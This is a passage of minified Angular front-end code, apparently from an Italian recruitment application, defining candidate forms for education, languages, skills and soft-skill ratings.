"),z.Cb(7),z.nc("ngIf",n.controls.titoloConseguito.value),z.Cb(3),z.Jc(z.ic(52,54,"Voto")),z.Cb(3),z.nc("ngClass",z.rc(68,Ie,o.validateField("prof_educ_vote",n))),z.Cb(1),z.nc("ngIf",n.controls.prof_educ_vote.value>=100),z.Cb(3),z.Kc("",z.ic(59,56,"Regione")," "),z.Cb(3),z.nc("items",o.options.regions)("ngClass",z.rc(70,Oe,o.validateField("istruction_region",n))),z.Cb(3),z.Kc("",z.ic(65,58,"Comune")," "),z.Cb(3),z.nc("items",o.options.cityOptions)("ngClass",z.rc(72,Oe,o.validateField("istruction_city",n)))}}var ke,we=((ke=function(e){i(n,e);var t=a(n);function n(e,i){var a;return b(this,n),(a=t.call(this,e,"FormArray",!1)).utilsService=i,a}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({prof_educ_name:[null],prof_educ_level:[null],prof_educ_title:[null],titoloConseguito:[!1],dateAttainment:[null],prof_educ_vote:[null],istruction_region:[null],istruction_city:[null],istruction_school:[null],instructionHasLode:[!1]})}},{key:"selectSchool",value:function(e,t){var i="",n="",a="";e&&e.nome_scuola&&(i=e.regione,n=e.comune,a=e.nome_scuola);var o=this._form.controls[t];o.controls.istruction_region.setValue(i),o.controls.istruction_city.setValue(n),this.filtraScuole({term:a},t)}},{key:"filtraScuole",value:function(e,t){var i=this;e&&e.term&&e.term.length>2&&this.utilsService.searchSchools(e.term).subscribe(function(e){e.status&&(i.options.schoolsFiltered[t]=e.message)})}}]),n}(le.a)).\u0275fac=function(e){return new(e||ke)(z.Pb(C.e),z.Pb(V.a))},ke.\u0275cmp=z.Jb({type:ke,selectors:[["app-candidate-insert-istruzione"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"card-body__title"],[1,"form-group"],["bindLabel","nome_scuola","bindValue","nome_scuola","placeholder","","formControlName","istruction_school",3,"items","addTag","addTagText","ngClass","change","search"],[1,"col-md-6"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_name",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_level",3,"items","ngClass","addTag","addTagText"],["bindLabel","name","bindValue","name","placeholder","","formControlName","prof_educ_title",3,"items","ngClass","addTag","addTagText"],[1,"card-body__title","d-inline"],[1,"form-group","mt-4"],[1,"toggle-switch","toggle-switch--modis"],["type","checkbox","formControlName","titoloConseguito",1,"toggle-switch__checkbox"],[1,"toggle-switch__helper"],[1,"form-group__bar"],["class","col-md-6",4,"ngIf"],["type","text","formControlName","prof_educ_vote",3,"ngClass"],["bindLabel","nome_regione","bindValue","nome_regione","placeholder","","formControlName","istruction_region",3,"items","ngClass"],["bindLabel","nome_comune","bindValue","nome_comune","placeholder","","formControlName","istruction_city",3,"items","ngClass"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],["placeholder","","mode","month","format","MM / YYYY","placement","bottom left",3,"model","inputClass","modelChange"],["type","checkbox","formControlName","instructionHasLode",1,"toggle-switch__checkbox"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,ze,68,74,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi Istruzione")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Istruzioni Vuote")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,A.a,C.n,C.g,S.l,C.a,C.c,T.a],pipes:[E.c],encapsulation:2}),ke);function Fe(e,t){if(1&e&&(z.Qb(0,"span"),z.hc(1,"lowercase")),2&e){var i=z.gc().$implicit;z.Fb("fi fi-",z.ic(1,3,i.controls.lang_language.value.flag),"")}}function Qe(e,t){if(1&e){var i=z.Wb();z.Vb(0,"span",26),z.cc("click",function(){z.Ac(i);var e=z.gc().index;return z.gc()._form.removeAt(e)}),z.Qb(1,"i",27),z.Ub()}}var Se=function(e){return["form-control","border-select",e]},Te=function(e){return["form-control","textareaCustom",e]};function Ae(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Gc(3,Fe,2,5,"span",12),z.Ic(4),z.hc(5,"translate"),z.Ub(),z.Vb(6,"div",13),z.Vb(7,"span",14),z.Qb(8,"i",15),z.Ub(),z.Gc(9,Qe,2,0,"span",16),z.Ub(),z.Ub(),z.Vb(10,"div",17),z.Vb(11,"div",18),z.Vb(12,"h3",19),z.Ic(13),z.hc(14,"translate"),z.Ub(),z.Vb(15,"div",20),z.Vb(16,"ng-select",21),z.cc("change",function(e){return z.Ac(i),z.gc().setFlag(e)}),z.hc(17,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(18,"div",18),z.Vb(19,"h3",19),z.Ic(20),z.hc(21,"translate"),z.Ub(),z.Vb(22,"div",20),z.Qb(23,"ng-select",22),z.Ub(),z.Ub(),z.Vb(24,"div",18),z.Vb(25,"h3",19),z.Ic(26),z.hc(27,"translate"),z.Ub(),z.Vb(28,"div",20),z.Qb(29,"ng-select",23),z.Ub(),z.Ub(),z.Vb(30,"div",1),z.Vb(31,"h3",19),z.Ic(32),z.hc(33,"translate"),z.Ub(),z.Vb(34,"div",20),z.Vb(35,"textarea",24),z.Ic(36,"                            "),z.Ub(),z.Qb(37,"i",25),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=t.index,o=z.gc();z.Cb(3),z.nc("ngIf",n.controls.lang_language.value&&n.controls.lang_language.value.flag),z.Cb(1),z.Kc(" ",n.controls.lang_language.value?n.controls.lang_language.value.name:z.ic(5,17,"Lingua")+" #"+(a+1)," "),z.Cb(5),z.nc("ngIf",o._form.length>1),z.Cb(1),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(14,19,"Lingua")," "),z.Cb(3),z.nc("items",o.options.languagesListOpt)("ngClass",z.rc(29,Se,o.validateField("lang_language",n)))("addTag",!0)("addTagText",z.ic(17,21,"Premi invio per aggiungere il nuovo valore")),z.Cb(4),z.Kc("",z.ic(21,23,"Parlato")," "),z.Cb(3),z.nc("items",o.options.languagesLevelOpt)("ngClass",z.rc(31,Se,o.validateField("lang_parlato",n))),z.Cb(3),z.Kc("",z.ic(27,25,"Scritto")," "),z.Cb(3),z.nc("items",o.options.languagesLevelOpt)("ngClass",z.rc(33,Se,o.validateField("lang_scritto",n))),z.Cb(3),z.Kc("",z.ic(33,27,"Note")," "),z.Cb(3),z.nc("ngClass",z.rc(35,Te,o.validateField("lang_note",n)))}}var Le,Ee=((Le=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!1)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({lang_language:[null],lang_parlato:[null],lang_scritto:[null],lang_note:[null]})}},{key:"_setValueFormInput",value:function(e){e&&e.controls&&e.controls.length&&(this._form=e)}},{key:"setFlag",value:function(e){var t="";return e&&e.flag&&(t=e.flag.toLowerCase()),t}}]),n}(le.a)).\u0275fac=function(e){return new(e||Le)(z.Pb(C.e))},Le.\u0275cmp=z.Jb({type:Le,selectors:[["app-candidate-insert-lingue"]],features:[z.zb],decls:14,vars:8,consts:[[1,"row"],[1,"col-md-12"],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],[1,"col-md-12","text-right"],[1,"btn","btn-orange","mr-3","ml-3",3,"click"],[1,"mr-2","zmdi","zmdi-account-add"],[1,"btn","btn-dark",3,"click"],[1,"mr-2","zmdi","zmdi-delete"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[3,"class",4,"ngIf"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],["class","accordion-btn align-self-center ml-3 mr-2",3,"click",4,"ngIf"],[1,"row",3,"formGroup"],[1,"col-md-6"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","placeholder","","formControlName","lang_language",3,"items","ngClass","addTag","addTagText","change"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_parlato",3,"items","ngClass"],["bindLabel","name","bindValue","name","placeholder","","formControlName","lang_scritto",3,"items","ngClass"],["formControlName","lang_note","autosize","","placeholder","",3,"ngClass"],[1,"form-group__bar"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"accordion",2),z.Gc(3,Ae,38,37,"accordion-group",3),z.Ub(),z.Ub(),z.Vb(4,"div",4),z.Qb(5,"br"),z.Vb(6,"a",5),z.cc("click",function(){return t.addItem()}),z.Qb(7,"i",6),z.Ic(8),z.hc(9,"translate"),z.Ub(),z.Vb(10,"a",7),z.cc("click",function(){return t.removeEmpty(t._form)}),z.Qb(11,"i",8),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(2),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls),z.Cb(5),z.Kc("",z.ic(9,4,"Aggiungi Lingua")," "),z.Cb(4),z.Kc("",z.ic(13,6,"Rimuovi Lingue Vuote")," "))},directives:[Ue.a,S.m,Ue.c,S.n,C.o,C.i,A.a,C.n,C.g,S.l,C.c,g.a],pipes:[E.c,S.k],encapsulation:2}),Le),Ne=r("jLjo"),Ke=["skillsSelector"];function Me(e,t){1&e&&z.Qb(0,"i"),2&e&&z.Fb("zmdi zmdi-",t.index<t.value?"favorite":"favorite-outline","")}var Pe=function(e){return["form-control","border-select",e]},Je=function(){return["one","two","three","four","five"]};function qe(e,t){if(1&e){var i=z.Wb();z.Vb(0,"accordion-group",9),z.Vb(1,"button",10),z.Vb(2,"div",11),z.Ic(3),z.Ub(),z.Vb(4,"div",12),z.Vb(5,"span",13),z.Qb(6,"i",14),z.Ub(),z.Vb(7,"span",15),z.cc("click",function(){z.Ac(i);var e=t.index;return z.gc()._form.removeAt(e)}),z.Qb(8,"i",16),z.Ub(),z.Ub(),z.Ub(),z.Vb(9,"div",17),z.Vb(10,"div",18),z.Vb(11,"h3",3),z.Ic(12),z.hc(13,"translate"),z.Ub(),z.Vb(14,"div",4),z.Qb(15,"ng-select",19),z.Ub(),z.Ub(),z.Vb(16,"div",18),z.Vb(17,"h3",3),z.Ic(18),z.hc(19,"translate"),z.Ub(),z.Vb(20,"div",4),z.Qb(21,"ng-select",20),z.Ub(),z.Ub(),z.Vb(22,"div",18),z.Vb(23,"h3",3),z.Ic(24),z.hc(25,"translate"),z.Ub(),z.Vb(26,"div",4),z.Qb(27,"ng-select",21),z.Ub(),z.Ub(),z.Vb(28,"div",18),z.Vb(29,"h3",3),z.Ic(30),z.hc(31,"translate"),z.Ub(),z.Vb(32,"div",4),z.Qb(33,"ng-select",22),z.Ub(),z.Ub(),z.Vb(34,"div",18),z.Vb(35,"h3",3),z.Ic(36),z.hc(37,"translate"),z.Ub(),z.Vb(38,"div",4),z.Qb(39,"rating",23),z.Ub(),z.Ub(),z.Vb(40,"div",18),z.Vb(41,"h3",3),z.Ic(42),z.hc(43,"translate"),z.Ub(),z.Vb(44,"div",4),z.Vb(45,"rating",24),z.Gc(46,Me,1,3,"ng-template",null,25,z.Hc),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()}if(2&e){var n=t.$implicit,a=z.xc(47),o=z.gc();z.Cb(3),z.Kc(" ",n.controls.skill.value," "),z.Cb(6),z.nc("formGroup",n),z.Cb(3),z.Kc("",z.ic(13,23,"Industry")," "),z.Cb(3),z.nc("items",o.options.industryListOpt)("ngClass",z.rc(35,Pe,o.validateField("industry",n))),z.Cb(3),z.Kc("",z.ic(19,25,"Macro Area")," "),z.Cb(3),z.nc("items",o.options.macroAreaListOpt)("ngClass",z.rc(37,Pe,o.validateField("macro_area",n))),z.Cb(3),z.Kc("",z.ic(25,27,"Categoria")," "),z.Cb(3),z.nc("items",o.options.categoriesOptions)("ngClass",z.rc(39,Pe,o.validateField("category_padre",n))),z.Cb(3),z.Kc("",z.ic(31,29,"Sottocategoria")," "),z.Cb(3),z.nc("items",o.options.subCategoriesOptions)("ngClass",z.rc(41,Pe,o.validateField("category_figlio",n))),z.Cb(3),z.Kc("",z.ic(37,31,"Rating")," "),z.Cb(3),z.nc("max",5)("required",!0)("titles",z.qc(43,Je)),z.Cb(3),z.Kc("",z.ic(43,33,"Esperienza")," "),z.Cb(3),z.nc("max",5)("required",!0)("titles",z.qc(44,Je))("customTemplate",a)}}var Ge,je,De=function(){return["form-control","border-select"]},Re=((Ge=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormArray",!0)}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({industry:[null],macro_area:[null],category_padre:[null],category_figlio:[null],skill:[null],rating:[null],validated_rating:[null]})}},{key:"insertSkill",value:function(e){if(e&&e.name){var t=this.newInnerFormItem;t.controls.macro_area.setValue(e.id_macro_area),t.controls.category_padre.setValue(e.category_parent_id),t.controls.category_figlio.setValue(e.category_id),t.controls.skill.setValue(e.name),this._form.push(t),this.skillsSelector.handleClearClick()}}}]),n}(le.a)).\u0275fac=function(e){return new(e||Ge)(z.Pb(C.e))},Ge.\u0275cmp=z.Jb({type:Ge,selectors:[["app-candidate-insert-skills"]],viewQuery:function(e,t){var i;1&e&&z.Mc(Ke,1),2&e&&z.wc(i=z.dc())&&(t.skillsSelector=i.first)},features:[z.zb],decls:14,vars:12,consts:[[1,"row"],[1,"col-md-12"],[1,"col-md-12","pl-1"],[1,"card-body__title"],[1,"form-group"],["bindLabel","name","placeholder","",3,"items","ngClass","addTag","addTagText","change"],["skillsSelector",""],[1,"accordion",3,"closeOthers"],["isOpen","true",4,"ngFor","ngForOf"],["isOpen","true"],["accordion-heading","","type","button",1,"btn","btn-link","btn-block","w-100","justify-content-between","d-flex","shadow-none"],[1,"float-left","align-self-center"],[1,"float-right"],[1,"accordion-btn","align-self-center","ml-3","mr-2"],[1,"zmdi","zmdi-hc-2x","zmdi-chevron-down"],[1,"accordion-btn","align-self-center","ml-3","mr-2",3,"click"],[1,"zmdi","zmdi-hc-2x","zmdi-delete"],[1,"row",3,"formGroup"],[1,"col-md-6"],["bindLabel","name","bindValue","name","placeholder","","formControlName","industry",3,"items","ngClass"],["bindLabel","name","bindValue","id_macroarea","placeholder","","formControlName","macro_area",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_padre",3,"items","ngClass"],["bindLabel","name","bindValue","id_category","placeholder","","formControlName","category_figlio",3,"items","ngClass"],["formControlName","rating","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","validated_rating","fullIcon","\u2764","emptyIcon","\uf90d",1,"zmdi-hc-2x","text-orange",3,"max","required","titles","customTemplate"],["ratingTemplateExperienceSkills",""]],template:function(e,t){1&e&&(z.Vb(0,"div",0),z.Vb(1,"div",1),z.Vb(2,"div",2),z.Vb(3,"h3",3),z.Ic(4),z.hc(5,"translate"),z.Ub(),z.Vb(6,"div",4),z.Vb(7,"ng-select",5,6),z.cc("change",function(e){return t.insertSkill(e)}),z.hc(9,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(10,"div",0),z.Vb(11,"div",1),z.Vb(12,"accordion",7),z.Gc(13,qe,48,45,"accordion-group",8),z.Ub(),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.Cb(4),z.Jc(z.ic(5,7,"Seleziona Skills")),z.Cb(3),z.nc("items",t.options.skillsOptions)("ngClass",z.qc(11,De))("addTag",!0)("addTagText",z.ic(9,9,"Premi invio per aggiungere il nuovo valore")),z.Cb(5),z.nc("closeOthers","true"),z.Cb(1),z.nc("ngForOf",t._form.controls))},directives:[A.a,S.l,Ue.a,S.m,Ue.c,C.o,C.i,C.n,C.g,Ne.a,C.u],pipes:[E.c],encapsulation:2}),Ge),We=function(){return["one","two","three","four","five","six"]},$e=((je=function(e){i(n,e);var t=a(n);function n(e){return b(this,n),t.call(this,e,"FormGroup")}return m(n,[{key:"newInnerFormItem",get:function(){return this.fb.group({orientamentoRisultatoOne:[null],orientamentoRisultatoTwo:[null],problemSolvingOne:[null],problemSolvingTwo:[null],problemSolvingTree:[null],orientamentoQualitaOne:[null],orientamentoQualitaTwo:[null],orientamentoQualitaTree:[null],orientamentoClienteOne:[null],orientamentoClienteTwo:[null],orientamentoClienteTree:[null],comunicazioneOne:[null],comunicazioneTwo:[null],comunicazioneTree:[null],adattabilitaCambiamentoOne:[null],adattabilitaCambiamentoTwo:[null],adattabilitaCambiamentoTree:[null],teamWorkingOne:[null],teamWorkingTwo:[null],teamWorkingTree:[null]})}}]),n}(le.a)).\u0275fac=function(e){return new(e||je)(z.Pb(C.e))},je.\u0275cmp=z.Jb({type:je,selectors:[["app-candidate-insert-soft-skills"]],features:[z.zb],decls:196,vars:162,consts:[[3,"formGroup"],[1,"row","my-4"],[1,"col-md-12"],[1,"card-title"],[1,"row"],[1,"col-md-8"],[1,"card-body__title","mt-3"],[1,"col-md-4","text-center"],[1,"form-group"],["formControlName","orientamentoRisultatoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoRisultatoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","problemSolvingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","problemSolvingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","problemSolvingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoQualitaOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoQualitaTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoQualitaTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoClienteOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoClienteTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","orientamentoClienteTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","comunicazioneOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","comunicazioneTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","comunicazioneTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","adattabilitaCambiamentoOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","adattabilitaCambiamentoTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","adattabilitaCambiamentoTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","teamWorkingOne","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","teamWorkingTwo","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"],["formControlName","teamWorkingTree","fullIcon","\u2605","emptyIcon","\u2606",1,"zmdi-hc-2x","text-orange",3,"max","required","titles"]],template:function(e,t){1&e&&(z.Vb(0,"form",0),z.Vb(1,"div",1),z.Vb(2,"div",2),z.Vb(3,"h5",3),z.Ic(4),z.hc(5,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(6,"div",4),z.Vb(7,"div",5),z.Vb(8,"h6",6),z.Ic(9),z.hc(10,"translate"),z.Ub(),z.Ub(),z.Vb(11,"div",7),z.Vb(12,"div",8),z.Qb(13,"rating",9),z.Ub(),z.Ub(),z.Ub(),z.Vb(14,"div",4),z.Vb(15,"div",5),z.Vb(16,"h6",6),z.Ic(17),z.hc(18,"translate"),z.Ub(),z.Ub(),z.Vb(19,"div",7),z.Vb(20,"div",8),z.Qb(21,"rating",10),z.Ub(),z.Ub(),z.Ub(),z.Vb(22,"div",1),z.Vb(23,"div",2),z.Vb(24,"h5",3),z.Ic(25),z.hc(26,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(27,"div",4),z.Vb(28,"div",5),z.Vb(29,"h6",6),z.Ic(30),z.hc(31,"translate"),z.Ub(),z.Ub(),z.Vb(32,"div",7),z.Vb(33,"div",8),z.Qb(34,"rating",11),z.Ub(),z.Ub(),z.Ub(),z.Vb(35,"div",4),z.Vb(36,"div",5),z.Vb(37,"h6",6),z.Ic(38),z.hc(39,"translate"),z.Ub(),z.Ub(),z.Vb(40,"div",7),z.Vb(41,"div",8),z.Qb(42,"rating",12),z.Ub(),z.Ub(),z.Ub(),z.Vb(43,"div",4),z.Vb(44,"div",5),z.Vb(45,"h6",6),z.Ic(46),z.hc(47,"translate"),z.Ub(),z.Ub(),z.Vb(48,"div",7),z.Vb(49,"div",8),z.Qb(50,"rating",13),z.Ub(),z.Ub(),z.Ub(),z.Vb(51,"div",1),z.Vb(52,"div",2),z.Vb(53,"h5",3),z.Ic(54),z.hc(55,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(56,"div",4),z.Vb(57,"div",5),z.Vb(58,"h6",6),z.Ic(59),z.hc(60,"translate"),z.Ub(),z.Ub(),z.Vb(61,"div",7),z.Vb(62,"div",8),z.Qb(63,"rating",14),z.Ub(),z.Ub(),z.Ub(),z.Vb(64,"div",4),z.Vb(65,"div",5),z.Vb(66,"h6",6),z.Ic(67),z.hc(68,"translate"),z.Ub(),z.Ub(),z.Vb(69,"div",7),z.Vb(70,"div",8),z.Qb(71,"rating",15),z.Ub(),z.Ub(),z.Ub(),z.Vb(72,"div",4),z.Vb(73,"div",5),z.Vb(74,"h6",6),z.Ic(75),z.hc(76,"translate"),z.Ub(),z.Ub(),z.Vb(77,"div",7),z.Vb(78,"div",8),z.Qb(79,"rating",16),z.Ub(),z.Ub(),z.Ub(),z.Vb(80,"div",1),z.Vb(81,"div",2),z.Vb(82,"h5",3),z.Ic(83),z.hc(84,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(85,"div",4),z.Vb(86,"div",5),z.Vb(87,"h6",6),z.Ic(88),z.hc(89,"translate"),z.Ub(),z.Ub(),z.Vb(90,"div",7),z.Vb(91,"div",8),z.Qb(92,"rating",17),z.Ub(),z.Ub(),z.Ub(),z.Vb(93,"div",4),z.Vb(94,"div",5),z.Vb(95,"h6",6),z.Ic(96),z.hc(97,"translate"),z.Ub(),z.Ub(),z.Vb(98,"div",7),z.Vb(99,"div",8),z.Qb(100,"rating",18),z.Ub(),z.Ub(),z.Ub(),z.Vb(101,"div",4),z.Vb(102,"div",5),z.Vb(103,"h6",6),z.Ic(104),z.hc(105,"translate"),z.Ub(),z.Ub(),z.Vb(106,"div",7),z.Vb(107,"div",8),z.Qb(108,"rating",19),z.Ub(),z.Ub(),z.Ub(),z.Vb(109,"div",1),z.Vb(110,"div",2),z.Vb(111,"h5",3),z.Ic(112),z.hc(113,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(114,"div",4),z.Vb(115,"div",5),z.Vb(116,"h6",6),z.Ic(117),z.hc(118,"translate"),z.Ub(),z.Ub(),z.Vb(119,"div",7),z.Vb(120,"div",8),z.Qb(121,"rating",20),z.Ub(),z.Ub(),z.Ub(),z.Vb(122,"div",4),z.Vb(123,"div",5),z.Vb(124,"h6",6),z.Ic(125),z.hc(126,"translate"),z.Ub(),z.Ub(),z.Vb(127,"div",7),z.Vb(128,"div",8),z.Qb(129,"rating",21),z.Ub(),z.Ub(),z.Ub(),z.Vb(130,"div",4),z.Vb(131,"div",5),z.Vb(132,"h6",6),z.Ic(133),z.hc(134,"translate"),z.Ub(),z.Ub(),z.Vb(135,"div",7),z.Vb(136,"div",8),z.Qb(137,"rating",22),z.Ub(),z.Ub(),z.Ub(),z.Vb(138,"div",1),z.Vb(139,"div",2),z.Vb(140,"h5",3),z.Ic(141),z.hc(142,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(143,"div",4),z.Vb(144,"div",5),z.Vb(145,"h6",6),z.Ic(146),z.hc(147,"translate"),z.Ub(),z.Ub(),z.Vb(148,"div",7),z.Vb(149,"div",8),z.Qb(150,"rating",23),z.Ub(),z.Ub(),z.Ub(),z.Vb(151,"div",4),z.Vb(152,"div",5),z.Vb(153,"h6",6),z.Ic(154),z.hc(155,"translate"),z.Ub(),z.Ub(),z.Vb(156,"div",7),z.Vb(157,"div",8),z.Qb(158,"rating",24),z.Ub(),z.Ub(),z.Ub(),z.Vb(159,"div",4),z.Vb(160,"div",5),z.Vb(161,"h6",6),z.Ic(162),z.hc(163,"translate"),z.Ub(),z.Ub(),z.Vb(164,"div",7),z.Vb(165,"div",8),z.Qb(166,"rating",25),z.Ub(),z.Ub(),z.Ub(),z.Vb(167,"div",1),z.Vb(168,"div",2),z.Vb(169,"h5",3),z.Ic(170),z.hc(171,"translate"),z.Ub(),z.Ub(),z.Ub(),z.Vb(172,"div",4),z.Vb(173,"div",5),z.Vb(174,"h6",6),z.Ic(175),z.hc(176,"translate"),z.Ub(),z.Ub(),z.Vb(177,"div",7),z.Vb(178,"div",8),z.Qb(179,"rating",26),z.Ub(),z.Ub(),z.Ub(),z.Vb(180,"div",4),z.Vb(181,"div",5),z.Vb(182,"h6",6),z.Ic(183),z.hc(184,"translate"),z.Ub(),z.Ub(),z.Vb(185,"div",7),z.Vb(186,"div",8),z.Qb(187,"rating",27),z.Ub(),z.Ub(),z.Ub(),z.Vb(188,"div",4),z.Vb(189,"div",5),z.Vb(190,"h6",6),z.Ic(191),z.hc(192,"translate"),z.Ub(),z.Ub(),z.Vb(193,"div",7),z.Vb(194,"div",8),z.Qb(195,"rating",28),z.Ub(),z.Ub(),z.Ub(),z.Ub()),2&e&&(z.nc("formGroup",t._form),z.Cb(4),z.Jc(z.ic(5,88,"ORIENTAMENTO AL RISULTATO")),z.Cb(5),z.Jc(z.ic(10,90,"Mantiene una forte focalizzazione sugli obiettivi assegnati, anche nelle difficolt\xe0.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(142,We)),z.Cb(4),z.Jc(z.ic(18,92,"Persegue i risultati con impegno e determinazione anche in assenza di continua supervisione.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(143,We)),z.Cb(4),z.Jc(z.ic(26,94,"PROBLEM SOLVING E ANALISI")),z.Cb(5),z.Jc(z.ic(31,96,"Fornisce risposte rapide e appropriate di fronte a difficolt\xe0 o situazioni complesse.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(144,We)),z.Cb(4),z.Jc(z.ic(39,98,"Quando affronta problemi nuovi effettua una efficace analisi delle variabili in gioco.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(145,We)),z.Cb(4),z.Jc(z.ic(47,100,"Anticipa i potenziali problemi, proponendo pro-attivamente soluzioni adeguate ed efficienti prima che essi si verifichino.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(146,We)),z.Cb(4),z.Jc(z.ic(55,102,"ORIENTAMENTO ALLA QUALITA")),z.Cb(5),z.Jc(z.ic(60,104,"Presta molta attenzione ai dettagli delle informazioni disponibili.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(147,We)),z.Cb(4),z.Jc(z.ic(68,106,"Si assicura che vengano seguite le procedure operative o tecniche.")),z.Cb(4),z.nc("max",6)("required",!0)("titles",z.qc(148,We)),z.Cb(4),z.Kc(">",z.ic(76,108,"Verifica la qualit\xe0 e precisione del proprio 